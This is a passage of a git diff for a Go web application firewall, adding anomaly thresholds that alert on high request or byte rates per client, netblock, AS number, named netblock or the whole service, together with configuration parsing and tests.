ratelimit.Buckets{Start: midnight(), Current: 5}, + Hour: ratelimit.Buckets{Start: midnight(), Current: 7}, + }, + { + Scope: anomaly.ScopeTotal, + Minute: ratelimit.Buckets{Start: midnight(), Current: 1}, + }, + }, halfAnHourOn) + + // The whole service's counter, left empty, is dropped, and the + // netblock read is masked to its length. + netblock := anomaly.Counter{ + Scope: anomaly.ScopeNet, + Netblock: netip.MustParsePrefix("203.0.113.0/24"), + Hour: ratelimit.Buckets{Start: midnight(), Current: 7}, + } + if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual( + got, want) { + t.Errorf("counters read\n%+v\nwant\n%+v", got, want) + } + + // A request from the netblock is counted with the requests read. + counters.Count(halfAnHourOn, anomaly.Request{ + Client: netip.MustParseAddr("203.0.113.9"), + ClientGroup: netip.MustParsePrefix("203.0.113.9/32"), + }) + + netblock.Minute = ratelimit.Buckets{Start: halfAnHourOn, Current: 1} + netblock.Hour.Current = 8 + want := []anomaly.Counter{netblock, { + Scope: anomaly.ScopeTotal, + Minute: ratelimit.Buckets{Start: halfAnHourOn, Current: 1}, + }} + + if got := counters.Snapshot(); !reflect.DeepEqual(got, want) { + t.Errorf("counters after a request\n%+v\nwant\n%+v", got, want) + } +} + +func TestLoadDropsTheLeastRecentlyCountedFirst(t *testing.T) { + t.Parallel() + + counters := newCounters(anomaly.Params{ + Client: anomaly.Thresholds{RequestsPerMinute: 1000}, + }) + now := midnight().Add(time.Minute) + + // The second half of the file was counted in the minute before the + // first half. + read := make([]anomaly.Counter, 0, maxCounters) + for i := range maxCounters { + start := now + if i >= maxCounters/2 { + start = midnight() + } + + read = append(read, anomaly.Counter{ + Scope: anomaly.ScopeClient, Netblock: request(i).ClientGroup, + Minute: ratelimit.Buckets{Start: start, Current: 1}, + }) + } + + counters.Load(read, now) + counters.Count(now, request(maxCounters)) + + got := counters.Snapshot() + if !holds(got, 0) || holds(got, maxCounters/2) { + t.Errorf("holding the first client of the file %v, and the first counted in "+ + "the minute before %v, want only the first", holds(got, 0), + holds(got, maxCounters/2)) + } +} + +// midnight is the time of the tests' requests. +func midnight() time.Time { + return time.Date(2026, 10, 6, 0, 0, 0, 0, time.UTC) +} + +// newCounters returns Counters for params, whose alerts go nowhere. +func newCounters(params anomaly.Params) *anomaly.Counters { + params.Alerts = alerts.New(alerts.Params{}) + + return anomaly.New(params) +} + +// newQueue returns a queue of alerts to a webhook, with the default +// cooldown, which keeps them waiting, since it is never run. +func newQueue() *alerts.Queue { + return alerts.New(alerts.Params{ + WebhookURL: &url.URL{Scheme: "https", Host: "alerts.example"}, + Events: alerts.Events(), + Cooldown: 15 * time.Minute, + MaxPerHour: 60, + Now: midnight, + }) +} + +// request returns a request from client number i, an address in +// 10.0.0.0/8. +func request(i int) anomaly.Request { + client := netip.MustParseAddr(fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255)) + + return anomaly.Request{Client: client, ClientGroup: netip.PrefixFrom(client, 32)} +} + +// holds reports whether counters hold the counter of client number i. +func holds(counters []anomaly.Counter, i int) bool { + return slices.ContainsFunc(counters, func(counter anomaly.Counter) bool { + return counter.Netblock == request(i).ClientGroup + }) +} diff --git a/internal/config/config.go b/internal/config/config.go index f99aa51..b8f4ec6 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -24,6 +24,7 @@ import ( "unicode/utf8" "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/anomaly" "sneak.berlin/go/smallwebwaf/internal/remotelog" ) @@ -220,6 +221,23 @@ type Config struct { AlertEvents []string AlertCooldown time.Duration AlertMaxPerHour int + // The anomaly thresholds, which only raise alerts: the most requests + // and bytes a minute and an hour per client (SWWAF_ANOMALY_CLIENT_*), + // per netblock around a client (SWWAF_ANOMALY_NET_*), per AS number + // (SWWAF_ANOMALY_ASN_*), for the whole service (SWWAF_ANOMALY_TOTAL_*) + // and per named netblock (SWWAF_WATCH_*), each 0 while it is off. + // AnomalyNetV4Prefix and AnomalyNetV6Prefix are the lengths of the + // netblock around a client (SWWAF_ANOMALY_NET_V4_PREFIX and + // SWWAF_ANOMALY_NET_V6_PREFIX), and WatchNets the named netblocks + // (SWWAF_WATCH_NETS). + AnomalyClient anomaly.Thresholds + AnomalyNet anomaly.Thresholds + AnomalyASN anomaly.Thresholds + AnomalyTotal anomaly.Thresholds + AnomalyWatch anomaly.Thresholds + AnomalyNetV4Prefix int + AnomalyNetV6Prefix int + WatchNets []anomaly.NamedNetblock // settings are the values read, as given or by default, and the // files they were read from, for the log line at start. @@ -240,6 +258,7 @@ const ( mebibyte = 1 << 20 gibibyte = 1 << 30 ipv4Bits = 32 + ipv6Bits = 128 // minTokenLength is the fewest characters a token may have. minTokenLength = 32 // masked is what the log shows for a token that is set, and in place of @@ -287,6 +306,10 @@ var ( errNotBanResponse = errors.New("is not 403, 429 or close") errNotV4Prefix = errors.New( "is not the length of an IPv4 netblock, from 0 to 32, such as 24") + errNotV6Prefix = errors.New( + "is not the length of an IPv6 netblock, from 0 to 128, such as 48") + errNotNamedNetblock = errors.New( + "is not a name, = and a netblock, such as office=203.0.113.0/24") errNotAbsolutePath = errors.New( "is not an absolute path, such as /var/lib/smallwebwaf") errShortToken = errors.New("is shorter than 32 characters") @@ -398,8 +421,16 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { AlertNtfyToken: env.secret("SWWAF_ALERT_NTFY_TOKEN"), AlertEvents: env.alertEvents("SWWAF_ALERT_EVENTS", strings.Join(alerts.Events(), ",")), - AlertCooldown: env.duration("SWWAF_ALERT_COOLDOWN", "15m"), - AlertMaxPerHour: env.numberOrOff("SWWAF_ALERT_MAX_PER_HOUR", "60"), + AlertCooldown: env.duration("SWWAF_ALERT_COOLDOWN", "15m"), + AlertMaxPerHour: env.numberOrOff("SWWAF_ALERT_MAX_PER_HOUR", "60"), + AnomalyClient: env.thresholds("SWWAF_ANOMALY_CLIENT_"), + AnomalyNet: env.thresholds("SWWAF_ANOMALY_NET_"), + AnomalyASN: env.thresholds("SWWAF_ANOMALY_ASN_"), + AnomalyTotal: env.thresholds("SWWAF_ANOMALY_TOTAL_"), + AnomalyWatch: env.thresholds("SWWAF_WATCH_"), + AnomalyNetV4Prefix: env.v4Prefix("SWWAF_ANOMALY_NET_V4_PREFIX", "24"), + AnomalyNetV6Prefix: env.v6Prefix("SWWAF_ANOMALY_NET_V6_PREFIX", "48"), + WatchNets: env.namedNetblocks("SWWAF_WATCH_NETS"), } cfg.LogRemoteAppName = env.appName("SWWAF_LOG_REMOTE_APP_NAME", @@ -666,9 +697,9 @@ func (e *environment) checkLookupDBPath(cfg *Config) { // checkCountriesAndLookups refuses a country on both country lists, and, // while SWWAF_LOOKUP_SOURCE is off, each setting that needs clients looked -// up: the country lists, SWWAF_ADD_LOOKUP_HEADERS, and the biased -// thresholds, of which SWWAF_UNKNOWN_LIMIT_PERCENT needs them only below -// 100, where it lowers a limit. +// up: the country lists, SWWAF_ADD_LOOKUP_HEADERS, the biased thresholds, +// of which SWWAF_UNKNOWN_LIMIT_PERCENT needs them only below 100, where it +// lowers a limit, and the anomaly thresholds per AS number. func (e *environment) checkCountriesAndLookups(cfg *Config) { for _, country := range cfg.ExclusivelyAllowedCountries { if slices.Contains(cfg.DeniedCountries, country) { @@ -693,6 +724,10 @@ func (e *environment) checkCountriesAndLookups(cfg *Config) { {"SWWAF_ASN_BYTES_PERCENT", len(cfg.ASNBytesPercent) > 0}, {"SWWAF_COUNTRY_BYTES_PERCENT", len(cfg.CountryBytesPercent) > 0}, {"SWWAF_UNKNOWN_LIMIT_PERCENT", cfg.UnknownLimitPercent < 100}, + {"SWWAF_ANOMALY_ASN_REQUESTS_PER_MINUTE", cfg.AnomalyASN.RequestsPerMinute > 0}, + {"SWWAF_ANOMALY_ASN_REQUESTS_PER_HOUR", cfg.AnomalyASN.RequestsPerHour > 0}, + {"SWWAF_ANOMALY_ASN_BYTES_PER_MINUTE", cfg.AnomalyASN.BytesPerMinute > 0}, + {"SWWAF_ANOMALY_ASN_BYTES_PER_HOUR", cfg.AnomalyASN.BytesPerHour > 0}, } { if setting.set { e.check(setting.name, fmt.Errorf("is set while SWWAF_LOOKUP_SOURCE is off; %w", @@ -744,6 +779,35 @@ func (e *environment) v4Prefix(name, defaultValue string) int { return length } +// v6Prefix reads a setting that is the length of an IPv6 netblock. +func (e *environment) v6Prefix(name, defaultValue string) int { + length, err := parseV6Prefix(e.value(name, defaultValue)) + e.check(name, err) + + return length +} + +// thresholds reads the four anomaly thresholds whose settings' names +// start with prefix: requests and bytes per minute and per hour. Each is +// off by default. +func (e *environment) thresholds(prefix string) anomaly.Thresholds { + return anomaly.Thresholds{ + RequestsPerMinute: e.count(prefix+"REQUESTS_PER_MINUTE", off), + RequestsPerHour: e.count(prefix+"REQUESTS_PER_HOUR", off), + BytesPerMinute: e.size(prefix+"BYTES_PER_MINUTE", off), + BytesPerHour: e.size(prefix+"BYTES_PER_HOUR", off), + } +} + +// namedNetblocks reads a setting that is a list of named netblocks. It is +// empty by default. +func (e *environment) namedNetblocks(name string) []anomaly.NamedNetblock { + named, err := parseNamedNetblocks(e.value(name, "")) + e.check(name, err) + + return named +} + // absolutePath reads a setting that is an absolute path. func (e *environment) absolutePath(name, defaultValue string) string { path := e.value(name, defaultValue) @@ -1085,6 +1149,16 @@ func parseV4Prefix(value string) (int, error) { return n, nil } +// parseV6Prefix reads the length of an IPv6 netblock, from 0 to 128. +func parseV6Prefix(value string) (int, error) { + n, err := strconv.Atoi(value) + if err != nil || n < 0 || n > ipv6Bits { + return 0, fmt.Errorf("%q %w", value, errNotV6Prefix) + } + + return n, nil +} + // parseList splits a comma-separated list and trims the spaces around // each item. An empty value is an empty list. func parseList(value string) ([]string, error) { @@ -1144,6 +1218,42 @@ func parseNetblock(value string) (netip.Prefix, error) { return netip.PrefixFrom(addr, addr.BitLen()), nil } +// parseNamedNetblocks reads a comma-separated list of named netblocks, +// each a name, = and a netblock, such as office=203.0.113.0/24. An empty +// value is an empty list. A name listed twice is an error. +func parseNamedNetblocks(value string) ([]anomaly.NamedNetblock, error) { + items, err := parseList(value) + if err != nil { + return nil, err + } + + named := make([]anomaly.NamedNetblock, 0, len(items)) + + for _, item := range items { + name, netblockText, found := strings.Cut(item, "=") + name = strings.TrimSpace(name) + + if !found || name == "" { + return nil, fmt.Errorf("%q %w", item, errNotNamedNetblock) + } + + netblock, err := parseNetblock(strings.TrimSpace(netblockText)) + if err != nil { + return nil, err + } + + if slices.ContainsFunc(named, func(n anomaly.NamedNetblock) bool { + return n.Name == name + }) { + return nil, fmt.Errorf("%q %w", name, errListedTwice) + } + + named = append(named, anomaly.NamedNetblock{Name: name, Netblock: netblock}) + } + + return named, nil +} + // parsePathPrefixes reads a comma-separated list of path prefixes, each // starting with /. func parsePathPrefixes(value string) ([]string, error) { diff --git a/internal/config/config_test.go b/internal/config/config_test.go index f52919b..1467277 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -12,10 +12,12 @@ import ( "path/filepath" "reflect" "slices" + "strconv" "strings" "testing" "time" + "sneak.berlin/go/smallwebwaf/internal/anomaly" "sneak.berlin/go/smallwebwaf/internal/config" ) @@ -85,8 +87,59 @@ const ( alertEvents = "SWWAF_ALERT_EVENTS" alertCooldown = "SWWAF_ALERT_COOLDOWN" alertMaxPerHour = "SWWAF_ALERT_MAX_PER_HOUR" + anomalyNetV4Prefix = "SWWAF_ANOMALY_NET_V4_PREFIX" + anomalyNetV6Prefix = "SWWAF_ANOMALY_NET_V6_PREFIX" + watchNets = "SWWAF_WATCH_NETS" ) +// The anomaly thresholds: each of the prefixes below, which name a scope, +// followed by each of the four ends. +const ( + anomalyClient = "SWWAF_ANOMALY_CLIENT_" + anomalyNet = "SWWAF_ANOMALY_NET_" + anomalyASN = "SWWAF_ANOMALY_ASN_" + anomalyTotal = "SWWAF_ANOMALY_TOTAL_" + watch = "SWWAF_WATCH_" + + requestsPerMinute = "REQUESTS_PER_MINUTE" + requestsPerHour = "REQUESTS_PER_HOUR" + bytesPerMinute = "BYTES_PER_MINUTE" + bytesPerHour = "BYTES_PER_HOUR" +) + +// anomalyScopes returns the prefixes of the anomaly thresholds, one for +// each scope. +func anomalyScopes() []string { + return []string{anomalyClient, anomalyNet, anomalyASN, anomalyTotal, watch} +} + +// anomalyThresholds returns the names of the twenty anomaly thresholds. +func anomalyThresholds() []string { + ends := []string{requestsPerMinute, requestsPerHour, bytesPerMinute, bytesPerHour} + names := make([]string, 0, len(anomalyScopes())*len(ends)) + + for _, scope := range anomalyScopes() { + for _, end := range ends { + names = append(names, scope+end) + } + } + + return names +} + +// loggedAnomalyDefaults returns the anomaly settings as the settings +// logged at start give them by default. +func loggedAnomalyDefaults() map[string]string { + logged := map[string]string{ + anomalyNetV4Prefix: "24", anomalyNetV6Prefix: "48", watchNets: "", + } + for _, name := range anomalyThresholds() { + logged[name] = off + } + + return logged +} + // defaultAlertEvents is the default of SWWAF_ALERT_EVENTS, and // defaultAlertCooldown that of SWWAF_ALERT_COOLDOWN. const ( @@ -897,14 +950,18 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) { t.Parallel() for name, value := range map[string]string{ - deniedCountries: "kp", - allowedCountries: "de", - addLookupHeaders: enabled, - asnLimitPercent: "AS64496:50", - countryLimitPercent: "cn:25", - asnBytesPercent: "AS64496:50", - countryBytesPercent: "cn:25", - unknownLimitPercent: "99", + deniedCountries: "kp", + allowedCountries: "de", + addLookupHeaders: enabled, + asnLimitPercent: "AS64496:50", + countryLimitPercent: "cn:25", + asnBytesPercent: "AS64496:50", + countryBytesPercent: "cn:25", + unknownLimitPercent: "99", + anomalyASN + requestsPerMinute: "1000", + anomalyASN + requestsPerHour: "10000", + anomalyASN + bytesPerMinute: "1G", + anomalyASN + bytesPerHour: "10G", } { t.Run(name, func(t *testing.T) { t.Parallel() @@ -920,12 +977,153 @@ func TestSettingNeedingLookupsStopsTheStartWhileTheyAreOff(t *testing.T) { } // Set empty, the lists need nothing looked up, and nor does - // SWWAF_UNKNOWN_LIMIT_PERCENT at 100, which lowers no limit. - fromEnvironment(t, environment{ + // SWWAF_UNKNOWN_LIMIT_PERCENT at 100, which lowers no limit, an anomaly + // threshold per AS number that is off, or any other anomaly threshold. + env := environment{ lookupSource: off, deniedCountries: "", allowedCountries: "", asnLimitPercent: "", countryLimitPercent: "", asnBytesPercent: "", countryBytesPercent: "", unknownLimitPercent: "100", - }) + } + for _, name := range anomalyThresholds() { + env[name] = "1000" + if strings.HasPrefix(name, anomalyASN) { + env[name] = off + } + } + + fromEnvironment(t, env) +} + +func TestAnomalySettingsDefaults(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{}) + wantAllOff(t, cfg) + + if cfg.AnomalyNetV4Prefix != 24 || cfg.AnomalyNetV6Prefix != 48 || + len(cfg.WatchNets) != 0 { + t.Errorf("%s, %s and %s gave %d, %d and %v, want 24, 48 and none", + anomalyNetV4Prefix, anomalyNetV6Prefix, watchNets, cfg.AnomalyNetV4Prefix, + cfg.AnomalyNetV6Prefix, cfg.WatchNets) + } +} + +func TestAnomalySettingsAsSet(t *testing.T) { + t.Parallel() + + // Each threshold of a scope its own value; bytes are sizes. + env := environment{ + anomalyNetV4Prefix: "16", + anomalyNetV6Prefix: "56", + // Spaces around a name or a netblock, and a bare address. + watchNets: "office = 203.0.113.0/24, scraper-x=198.51.100.7,v6=2001:db8::/32", + } + want := map[string]anomaly.Thresholds{} + + for i, scope := range anomalyScopes() { + n := int64(i + 1) + env[scope+requestsPerMinute] = strconv.FormatInt(n, 10) + env[scope+requestsPerHour] = strconv.FormatInt(10*n, 10) + env[scope+bytesPerMinute] = strconv.FormatInt(n, 10) + "K" + env[scope+bytesPerHour] = strconv.FormatInt(n, 10) + "G" + want[scope] = anomaly.Thresholds{ + RequestsPerMinute: n, RequestsPerHour: 10 * n, + BytesPerMinute: n << 10, BytesPerHour: n << 30, + } + } + + cfg := fromEnvironment(t, env) + + if got := thresholdsByScope(cfg); !maps.Equal(got, want) { + t.Errorf("thresholds by scope\n%+v\nwant\n%+v", got, want) + } + + wantNamed := []anomaly.NamedNetblock{ + {Name: "office", Netblock: netip.MustParsePrefix("203.0.113.0/24")}, + {Name: "scraper-x", Netblock: netip.MustParsePrefix("198.51.100.7/32")}, + {Name: "v6", Netblock: netip.MustParsePrefix("2001:db8::/32")}, + } + if cfg.AnomalyNetV4Prefix != 16 || cfg.AnomalyNetV6Prefix != 56 || + !slices.Equal(cfg.WatchNets, wantNamed) { + t.Errorf("%s, %s and %s gave %d, %d and %v, want 16, 56 and %v", + anomalyNetV4Prefix, anomalyNetV6Prefix, watchNets, cfg.AnomalyNetV4Prefix, + cfg.AnomalyNetV6Prefix, cfg.WatchNets, wantNamed) + } + + // off switches each threshold off. + for _, name := range anomalyThresholds() { + env[name] = off + } + + wantAllOff(t, fromEnvironment(t, env)) +} + +// thresholdsByScope returns cfg's anomaly thresholds, each by the prefix +// of its scope's settings. +func thresholdsByScope(cfg *config.Config) map[string]anomaly.Thresholds { + return map[string]anomaly.Thresholds{ + anomalyClient: cfg.AnomalyClient, anomalyNet: cfg.AnomalyNet, + anomalyASN: cfg.AnomalyASN, anomalyTotal: cfg.AnomalyTotal, + watch: cfg.AnomalyWatch, + } +} + +// wantAllOff checks that every anomaly threshold of cfg is off. +func wantAllOff(t *testing.T, cfg *config.Config) { + t.Helper() + + for scope, thresholds := range thresholdsByScope(cfg) { + if thresholds != (anomaly.Thresholds{}) { + t.Errorf("%s* gave %+v, want every one off", scope, thresholds) + } + } +} + +func TestInvalidAnomalySettingStopsTheStartSayingWhatIsWrong(t *testing.T) { + t.Parallel() + + const ( + notCount = " is not a whole number of requests such as 1000, or off" + notSize = " is not a size such as 512K, 100M or 5G, or off" + notPositive = " must be more than zero, or off" + notNamed = " is not a name, = and a netblock, such as office=203.0.113.0/24" + notNetblock = " is not a netblock such as 10.0.0.0/8, or an address" + notV4Prefix = " is not the length of an IPv4 netblock, from 0 to 32, such as 24" + notV6Prefix = " is not the length of an IPv6 netblock, from 0 to 128, such as 48" + officeNetblock = "office=203.0.113.0/24" + scraperNetblock = "scraper=198.51.100.0/24" + ) + + for _, tc := range []struct{ name, value, want string }{ + {anomalyClient + requestsPerMinute, "1K", `"1K"` + notCount}, + {anomalyNet + requestsPerHour, "0", `"0"` + notPositive}, + {anomalyTotal + bytesPerMinute, "1T", `"1T"` + notSize}, + {watch + bytesPerHour, "-1G", `"-1G"` + notPositive}, + {anomalyNetV4Prefix, "33", `"33"` + notV4Prefix}, + {anomalyNetV4Prefix, off, `"off"` + notV4Prefix}, + {anomalyNetV6Prefix, "129", `"129"` + notV6Prefix}, + {anomalyNetV6Prefix, "/48", `"/48"` + notV6Prefix}, + {watchNets, "office", `"office"` + notNamed}, + {watchNets, "=203.0.113.0/24", `"=203.0.113.0/24"` + notNamed}, + {watchNets, "office=203.0.113.300/24", `"203.0.113.300/24"` + notNetblock}, + {watchNets, officeNetblock + ",", `"` + officeNetblock + `," has an empty item ` + + `in its list`}, + { + watchNets, officeNetblock + "," + scraperNetblock + ",office=192.0.2.0/24", + `"office" is listed twice`, + }, + } { + t.Run(tc.name+"="+tc.value, func(t *testing.T) { + t.Parallel() + + _, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv) + + want := tc.name + ": " + tc.want + if err == nil || err.Error() != want { + t.Errorf("error %v, want %s", err, want) + } + }) + } } func TestBiasedThresholdsAsSet(t *testing.T) { @@ -1461,6 +1659,8 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { alertCooldown: defaultAlertCooldown, alertMaxPerHour: "60", } + maps.Copy(want, loggedAnomalyDefaults()) + if got := loggedSettings(t, cfg); !maps.Equal(got, want) { t.Errorf("logged settings\n%v\nwant\n%v", got, want) } diff --git a/internal/proxy/anomaly_internal_test.go b/internal/proxy/anomaly_internal_test.go new file mode 100644 index 0000000..af8034d --- /dev/null +++ b/internal/proxy/anomaly_internal_test.go @@ -0,0 +1,30 @@ +package proxy + +import ( + "net/netip" + "testing" + + "sneak.berlin/go/smallwebwaf/internal/config" +) + +func TestWithEveryAnomalyThresholdOffARequestIsNotCounted(t *testing.T) { + t.Parallel() + + // A request from a client looked up through GeoJS, with every anomaly + // threshold off. Its handler has neither GeoJS's answers nor the + // anomaly counters, nor a clock, and the request no response: reading + // any of them to count the request panics. + rq := &request{ + h: &handler{config: &config.Config{LookupSource: "geojs"}}, + client: netip.MustParseAddr("203.0.113.9"), + lookedUp: true, + } + + defer func() { + if r := recover(); r != nil { + t.Errorf("counting the request did work, with every threshold off: %v", r) + } + }() + + rq.countAnomalies() +} diff --git a/internal/proxy/anomaly_test.go b/internal/proxy/anomaly_test.go new file mode 100644 index 0000000..f455b1f --- /dev/null +++ b/internal/proxy/anomaly_test.go @@ -0,0 +1,377 @@ +package proxy_test + +import ( + "maps" + "net/http" + "net/netip" + "reflect" + "slices" + "strconv" + "sync/atomic" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/anomaly" + "sneak.berlin/go/smallwebwaf/internal/proxy" + "sneak.berlin/go/smallwebwaf/internal/ratelimit" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// The anomaly thresholds: the prefix of a scope followed by the end of a +// count. +const ( + anomalyClient = "SWWAF_ANOMALY_CLIENT_" + anomalyNet = "SWWAF_ANOMALY_NET_" + anomalyASN = "SWWAF_ANOMALY_ASN_" + anomalyTotal = "SWWAF_ANOMALY_TOTAL_" + anomalyWatch = "SWWAF_WATCH_" + + requestsPerMinute = "REQUESTS_PER_MINUTE" + requestsPerHour = "REQUESTS_PER_HOUR" + bytesPerMinute = "BYTES_PER_MINUTE" + bytesPerHour = "BYTES_PER_HOUR" +) + +// The other anomaly settings. +const ( + anomalyNetV4Prefix = "SWWAF_ANOMALY_NET_V4_PREFIX" + anomalyNetV6Prefix = "SWWAF_ANOMALY_NET_V6_PREFIX" + watchNets = "SWWAF_WATCH_NETS" +) + +const ( + // clientsNet is the netblock around client at the default length, and + // office a named netblock of the same. + clientsNet = "203.0.113.0/24" + office = "office=" + clientsNet + // aLot is a threshold no test reaches. + aLot = "1000" + // hour is the window an alert names for a threshold per hour. + hour = "hour" +) + +func TestEachScopeAndWindowOverItsThresholdAlertsOncePerCooldown(t *testing.T) { + t.Parallel() + + for _, scope := range []struct { + prefix, scope string + // netblock is the alert's, and counted what its reason names. extra + // is what its detail gives besides what every anomaly alert's does. + netblock netip.Prefix + counted string + extra map[string]any + }{ + { + anomalyClient, anomaly.ScopeClient, netip.MustParsePrefix(client + "/32"), + "the client " + client + "/32", nil, + }, + { + anomalyNet, anomaly.ScopeNet, netip.MustParsePrefix(clientsNet), + "the netblock " + clientsNet, nil, + }, + {anomalyASN, anomaly.ScopeASN, netip.Prefix{}, asnDE, map[string]any{"asn": asnDE}}, + {anomalyTotal, anomaly.ScopeTotal, netip.Prefix{}, "the whole service", nil}, + { + anomalyWatch, anomaly.ScopeWatch, netip.MustParsePrefix(clientsNet), + "the named netblock office, " + clientsNet, map[string]any{"name": "office"}, + }, + } { + for _, threshold := range []struct { + end, kind, window string + // value is the threshold, which the third upload of 100 bytes + // takes the count over, to count. + value int64 + count float64 + }{ + {requestsPerMinute, ratelimit.KindRequests, minute, 2, 3}, + {requestsPerHour, ratelimit.KindRequests, hour, 2, 3}, + {bytesPerMinute, ratelimit.KindBytes, minute, 250, 300}, + {bytesPerHour, ratelimit.KindBytes, hour, 250, 300}, + } { + setting := scope.prefix + threshold.end + value := strconv.FormatInt(threshold.value, 10) + + t.Run(setting, func(t *testing.T) { + t.Parallel() + + s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{ + setting: value, watchNets: office, + }) + start := clk.Now() + + // The third upload takes the count over the threshold, and the + // fourth, within the cooldown, is held back. Each is passed to + // the app. + for range 4 { + s.uploadFrom(client) + } + + detail := map[string]any{ + "scope": scope.scope, "window": threshold.window, "kind": threshold.kind, + "count": threshold.count, "threshold": threshold.value, + } + maps.Copy(detail, scope.extra) + + wantAlerts(t, queue, alerts.Alert{ + Instance: alertInstance, + Time: start, + Event: alerts.EventAnomaly, + Client: netip.MustParseAddr(client), + Netblock: scope.netblock, + ASN: asnDE, + ASName: asNameDE, + Country: "DE", + Reason: threshold.kind + " per " + threshold.window + " of " + + scope.counted + " over the threshold of " + value, + Detail: detail, + }) + + wantAlertedAgainOnceTheCooldownHasRunOut(t, s, clk, queue) + + if held := server.Ledger.Snapshot(); len(held) != 0 { + t.Errorf("the ledger holds %+v, want no ban", held) + } + }) + } + } +} + +// wantAlertedAgainOnceTheCooldownHasRunOut checks that, once the cooldown +// has run out after a first alert, which held back one repeat, the next +// count over the threshold, at the latest three uploads from client on, +// raises another alert, giving that repeat. +func wantAlertedAgainOnceTheCooldownHasRunOut( + t *testing.T, s *sender, clk *clock, queue *alerts.Queue, +) { + t.Helper() + + clk.advance(15 * time.Minute) + + for range 3 { + s.uploadFrom(client) + } + + waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] + if len(waiting) != 2 || !waiting[1].Time.Equal(clk.Now()) || + waiting[1].SuppressedRepeats != 1 { + t.Errorf("alerts wait %+v, want the first and another, with 1 repeat", waiting) + } +} + +func TestEveryRequestIsCountedWhateverIsDoneWithIt(t *testing.T) { + t.Parallel() + + const ( + allowed = "192.0.2.7" // in SWWAF_ALLOW_NETS + exempt = "192.0.2.10" // in SWWAF_RATE_LIMIT_EXEMPT_NETS + denied = "192.0.2.20" // in SWWAF_DENY_NETS + ) + + s, _, _, queue := startAppWithAlerts(t, readAndAnswer, map[string]string{ + anomalyClient + requestsPerMinute: "2", + allowNets: allowed, + rateLimitExemptNets: exempt, + rateLimitExemptPaths: "/static/", + denyNets: denied, + }) + + // The third request of each takes its client's count over the threshold + // of 2. + for _, sent := range []struct { + from, path string + status int + action string + }{ + {allowed, "/", http.StatusOK, requestlog.ActionForward}, + {exempt, "/", http.StatusOK, requestlog.ActionForward}, + {client, "/static/app.js", http.StatusOK, requestlog.ActionForward}, + {denied, "/", http.StatusForbidden, requestlog.ActionDenied}, + } { + for range 3 { + s.request(sent.from, sent.path, sent.status, sent.action) + } + } + + waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] + + got := make([]string, 0, len(waiting)) + for _, alert := range waiting { + got = append(got, alert.Client.String()) + } + + if want := []string{allowed, exempt, client, denied}; !slices.Equal(got, want) { + t.Errorf("alerts for the clients %v, want %v", got, want) + } +} + +func TestThresholdsOffCountNothingAndAlertNothing(t *testing.T) { + t.Parallel() + + // With every threshold off, nothing is counted. + s, server, queue := startWithLookups(t, map[string]string{watchNets: office}) + + for range 5 { + s.uploadFrom(client) + } + + if counters := server.Anomalies.Snapshot(); len(counters) != 0 { + t.Errorf("counters %+v, want none", counters) + } + + wantAlerts(t, queue) + + // With one set, its count alone is counted, in its scope alone. + s, clk, server, queue := startWithLookupsAndClock(t, map[string]string{ + anomalyNet + requestsPerMinute: aLot, watchNets: office, + }) + + for range 5 { + s.uploadFrom(client) + } + + want := []anomaly.Counter{{ + Scope: anomaly.ScopeNet, + Netblock: netip.MustParsePrefix(clientsNet), + Minute: ratelimit.Buckets{Start: clk.Now(), Current: 5}, + }} + if got := server.Anomalies.Snapshot(); !reflect.DeepEqual(got, want) { + t.Errorf("counters\n%+v\nwant\n%+v", got, want) + } + + wantAlerts(t, queue) +} + +func TestNetblockAroundAClientIsAsLongAsTheSettingsSay(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name string + env map[string]string + // Each client of sent sends one request, and want gives the + // netblocks they are counted in, each with its requests. + sent []string + want map[string]int64 + }{ + { + "by default", nil, + []string{client, "203.0.113.200", "192.0.2.7", ipv6Client, "2001:db8:0:ffff::1"}, + map[string]int64{clientsNet: 2, "192.0.2.0/24": 1, "2001:db8::/48": 2}, + }, + { + "as set", map[string]string{anomalyNetV4Prefix: "16", anomalyNetV6Prefix: "32"}, + []string{client, "203.0.200.1", ipv6Client, "2001:db8:ffff::1"}, + map[string]int64{"203.0.0.0/16": 2, "2001:db8::/32": 2}, + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + env := map[string]string{anomalyNet + requestsPerMinute: aLot} + maps.Copy(env, tc.env) + + s, _, server, _ := startAppWithAlerts(t, readAndAnswer, env) + + for _, from := range tc.sent { + s.get(from, http.StatusOK, requestlog.ActionForward) + } + + got := map[string]int64{} + for _, counter := range server.Anomalies.Snapshot() { + got[counter.Netblock.String()] = counter.Minute.Current + } + + if !maps.Equal(got, tc.want) { + t.Errorf("requests by netblock %v, want %v", got, tc.want) + } + }) + } +} + +func TestClientIsCountedForItsASNumberOnceTheLookupGivesOne(t *testing.T) { + t.Parallel() + + s, server, _ := startWithLookups(t, map[string]string{ + anomalyASN + requestsPerMinute: aLot, + }) + + // The lookup database does not hold unplaced. + for _, from := range []string{fromDE, fromDE, fromKP, noCountry, unplaced} { + s.uploadFrom(from) + } + + got := map[string]int64{} + for _, counter := range server.Anomalies.Snapshot() { + got[counter.ASN] = counter.Minute.Current + } + + if want := map[string]int64{asnDE: 2, asnKP: 1, "AS64500": 1}; !maps.Equal(got, want) { + t.Errorf("requests by AS number %v, want %v", got, want) + } +} + +func TestRequestCountsForTheASNumberGeoJSGivesBeforeItEnds(t *testing.T) { + t.Parallel() + + // The stand-in for GeoJS answers only once released, which the app + // does as it answers the request, and then waits until the answer is + // kept. + geojsURL, _, release := startHeldGeoJS(t) + + var server atomic.Pointer[proxy.Server] + + app := startApp(t, func(http.ResponseWriter, 